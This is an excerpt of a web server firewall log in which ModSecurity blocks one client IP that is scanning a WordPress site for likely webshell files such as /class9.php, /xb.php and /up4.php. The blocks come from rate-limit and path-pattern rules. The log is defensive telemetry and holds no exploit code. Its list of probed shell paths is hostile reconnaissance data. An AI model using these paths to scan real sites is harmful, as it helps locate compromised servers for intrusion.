[Sat Dec 27 03:50:12.052280 2025] [:error] [pid 53445:tid 53541] [client 4.189.107.91:13306] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aU7m9JExImFfF-26sOBqHwAAAJc"]
[Sat Dec 27 03:50:12.279538 2025] [:error] [pid 53550:tid 53560] [client 4.189.107.91:18936] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aU7m9LgHjjFoyoP_DoHGaQAAAMY"]
[Sat Dec 27 03:50:12.520470 2025] [:error] [pid 53550:tid 53561] [client 4.189.107.91:18848] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aU7m9LgHjjFoyoP_DoHGagAAAMc"]
[Sat Dec 27 03:50:12.749940 2025] [:error] [pid 53445:tid 53538] [client 4.189.107.91:13298] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aU7m9JExImFfF-26sOBqIAAAAJQ"]
[Sat Dec 27 03:50:12.977830 2025] [:error] [pid 53443:tid 53474] [client 4.189.107.91:18877] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU7m9Ivixl-n325_196xtAAAABU"]
[Sat Dec 27 03:50:13.209213 2025] [:error] [pid 53443:tid 53468] [client 4.189.107.91:13262] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU7m9Yvixl-n325_196xtQAAAA8"]
[Sat Dec 27 03:50:13.452278 2025] [:error] [pid 53443:tid 53473] [client 4.189.107.91:13260] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU7m9Yvixl-n325_196xtwAAABQ"]
[Sat Dec 27 03:50:13.678583 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:18861] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class9.php"] [unique_id "aU7m9Yvixl-n325_196xuAAAABY"]
[Sat Dec 27 03:50:13.934463 2025] [:error] [pid 53443:tid 53477] [client 4.189.107.91:13202] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU7m9Yvixl-n325_196xuQAAABg"]
[Sat Dec 27 03:50:14.160630 2025] [:error] [pid 53443:tid 53453] [client 4.189.107.91:18864] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU7m9ovixl-n325_196xugAAAAA"]
[Sat Dec 27 03:50:14.388060 2025] [:error] [pid 53445:tid 53520] [client 4.189.107.91:13252] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU7m9pExImFfF-26sOBqIgAAAII"]
[Sat Dec 27 03:50:14.633050 2025] [:error] [pid 53550:tid 53567] [client 4.189.107.91:18875] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aU7m9rgHjjFoyoP_DoHGbAAAAM0"]
[Sat Dec 27 03:50:14.865356 2025] [:error] [pid 53445:tid 53537] [client 4.189.107.91:13292] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU7m9pExImFfF-26sOBqJAAAAJM"]
[Sat Dec 27 03:50:15.092496 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:13269] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU7m94vixl-n325_196xvAAAAAI"]
[Sat Dec 27 03:50:15.319499 2025] [:error] [pid 53445:tid 53523] [client 4.189.107.91:18818] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU7m95ExImFfF-26sOBqJQAAAIU"]
[Sat Dec 27 03:50:15.546305 2025] [:error] [pid 53444:tid 53505] [client 4.189.107.91:13302] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU7m9-u6cLWyKXCdJRwjJwAAAE4"]
[Sat Dec 27 03:50:15.785726 2025] [:error] [pid 53444:tid 53510] [client 4.189.107.91:18849] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU7m9-u6cLWyKXCdJRwjKQAAAFM"]
[Sat Dec 27 03:50:16.016014 2025] [:error] [pid 53444:tid 53514] [client 4.189.107.91:13226] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU7m-Ou6cLWyKXCdJRwjKgAAAFc"]
[Sat Dec 27 03:50:16.244286 2025] [:error] [pid 53443:tid 53462] [client 4.189.107.91:13264] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU7m-Ivixl-n325_196xvQAAAAk"]
[Sat Dec 27 03:50:16.472030 2025] [:error] [pid 53444:tid 53499] [client 4.189.107.91:13234] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aU7m-Ou6cLWyKXCdJRwjKwAAAEg"]
[Sat Dec 27 03:50:16.699259 2025] [:error] [pid 53443:tid 53466] [client 4.189.107.91:13287] [client 4.189.107.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aU7m-Ivixl-n325_196xvwAAAA0"]
[Sat Dec 27 03:50:16.929181 2025] [:error] [pid 53443:tid 53457] [client 4.189.107.91:13125] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU7m-Ivixl-n325_196xwAAAAAQ"]
[Sat Dec 27 03:50:17.155794 2025] [:error] [pid 53444:tid 53504] [client 4.189.107.91:18898] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU7m-eu6cLWyKXCdJRwjLQAAAE0"]
[Sat Dec 27 03:50:17.383310 2025] [:error] [pid 53443:tid 53461] [client 4.189.107.91:18868] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU7m-Yvixl-n325_196xwQAAAAg"]
[Sat Dec 27 03:50:17.611602 2025] [:error] [pid 53443:tid 53464] [client 4.189.107.91:13255] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU7m-Yvixl-n325_196xwgAAAAs"]
[Sat Dec 27 03:50:17.838560 2025] [:error] [pid 53444:tid 53494] [client 4.189.107.91:18942] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU7m-eu6cLWyKXCdJRwjLgAAAEM"]
[Sat Dec 27 03:50:18.067102 2025] [:error] [pid 53443:tid 53476] [client 4.189.107.91:13292] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU7m-ovixl-n325_196xwwAAABc"]
[Sat Dec 27 03:50:18.294417 2025] [:error] [pid 53444:tid 53512] [client 4.189.107.91:18878] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU7m-uu6cLWyKXCdJRwjLwAAAFU"]
[Sat Dec 27 03:50:18.523714 2025] [:error] [pid 53443:tid 53458] [client 4.189.107.91:13196] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU7m-ovixl-n325_196xxAAAAAU"]
[Sat Dec 27 03:50:18.751859 2025] [:error] [pid 53444:tid 53496] [client 4.189.107.91:13201] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU7m-uu6cLWyKXCdJRwjMQAAAEU"]
[Sat Dec 27 03:50:18.979122 2025] [:error] [pid 53444:tid 53491] [client 4.189.107.91:13295] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU7m-uu6cLWyKXCdJRwjMgAAAEA"]
[Sat Dec 27 03:50:19.206351 2025] [:error] [pid 53444:tid 53501] [client 4.189.107.91:13244] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU7m--u6cLWyKXCdJRwjNAAAAEo"]
[Sat Dec 27 03:50:19.433277 2025] [:error] [pid 53550:tid 53556] [client 4.189.107.91:13279] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU7m-7gHjjFoyoP_DoHGdAAAAMI"]
[Sat Dec 27 03:50:19.663006 2025] [:error] [pid 53444:tid 53497] [client 4.189.107.91:13184] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU7m--u6cLWyKXCdJRwjNQAAAEY"]
[Sat Dec 27 03:50:19.891480 2025] [:error] [pid 53444:tid 53498] [client 4.189.107.91:18889] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU7m--u6cLWyKXCdJRwjNgAAAEc"]
[Sat Dec 27 03:50:20.118750 2025] [:error] [pid 53443:tid 53467] [client 4.189.107.91:18911] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU7m_Ivixl-n325_196xxwAAAA4"]
[Sat Dec 27 03:50:20.346423 2025] [:error] [pid 53443:tid 53475] [client 4.189.107.91:13257] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU7m_Ivixl-n325_196xyAAAABY"]
[Sat Dec 27 03:50:20.574953 2025] [:error] [pid 53445:tid 53529] [client 4.189.107.91:18832] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU7m_JExImFfF-26sOBqJwAAAIs"]
[Sat Dec 27 03:50:20.802327 2025] [:error] [pid 53443:tid 53453] [client 4.189.107.91:13288] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU7m_Ivixl-n325_196xyQAAAAA"]
[Sat Dec 27 03:50:21.030983 2025] [:error] [pid 53443:tid 53469] [client 4.189.107.91:13293] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU7m_Yvixl-n325_196xygAAABA"]
[Sat Dec 27 03:50:21.257703 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:13247] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aU7m_Yvixl-n325_196xzAAAAAI"]
[Sat Dec 27 03:50:21.485173 2025] [:error] [pid 53550:tid 53557] [client 4.189.107.91:18901] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU7m_bgHjjFoyoP_DoHGdwAAAMM"]
[Sat Dec 27 03:50:21.714279 2025] [:error] [pid 53550:tid 53558] [client 4.189.107.91:13307] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU7m_bgHjjFoyoP_DoHGeAAAAMQ"]
[Sat Dec 27 03:50:21.945933 2025] [:error] [pid 53443:tid 53463] [client 4.189.107.91:18867] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU7m_Yvixl-n325_196xzQAAAAo"]
[Sat Dec 27 03:50:22.182890 2025] [:error] [pid 53444:tid 53502] [client 4.189.107.91:13263] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU7m_uu6cLWyKXCdJRwjOQAAAEs"]
[Sat Dec 27 03:50:22.411044 2025] [:error] [pid 53445:tid 53525] [client 4.189.107.91:18906] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU7m_pExImFfF-26sOBqKAAAAIc"]
[Sat Dec 27 03:50:22.638044 2025] [:error] [pid 53444:tid 53507] [client 4.189.107.91:13216] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU7m_uu6cLWyKXCdJRwjOgAAAFA"]
[Sat Dec 27 03:50:22.879106 2025] [:error] [pid 53444:tid 53506] [client 4.189.107.91:13206] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU7m_uu6cLWyKXCdJRwjOwAAAE8"]
[Sat Dec 27 03:50:23.106628 2025] [:error] [pid 53445:tid 53531] [client 4.189.107.91:13227] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU7m_5ExImFfF-26sOBqKQAAAI0"]
[Sat Dec 27 03:50:23.333450 2025] [:error] [pid 53550:tid 53566] [client 4.189.107.91:18822] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU7m_7gHjjFoyoP_DoHGegAAAMw"]
[Sat Dec 27 03:50:23.560299 2025] [:error] [pid 53550:tid 53560] [client 4.189.107.91:18859] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU7m_7gHjjFoyoP_DoHGewAAAMY"]
[Sat Dec 27 03:50:23.787135 2025] [:error] [pid 53443:tid 53471] [client 4.189.107.91:13299] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU7m_4vixl-n325_196xzgAAABI"]
[Sat Dec 27 03:50:24.017582 2025] [:error] [pid 53443:tid 53462] [client 4.189.107.91:18847] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU7nAIvixl-n325_196xzwAAAAk"]
[Sat Dec 27 03:50:24.243898 2025] [:error] [pid 53445:tid 53527] [client 4.189.107.91:13311] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU7nAJExImFfF-26sOBqKgAAAIk"]
[Sat Dec 27 03:50:24.469529 2025] [:error] [pid 53443:tid 53466] [client 4.189.107.91:13273] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU7nAIvixl-n325_196x0QAAAA0"]
[Sat Dec 27 03:50:24.698278 2025] [:error] [pid 53445:tid 53534] [client 4.189.107.91:18870] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU7nAJExImFfF-26sOBqLQAAAJA"]
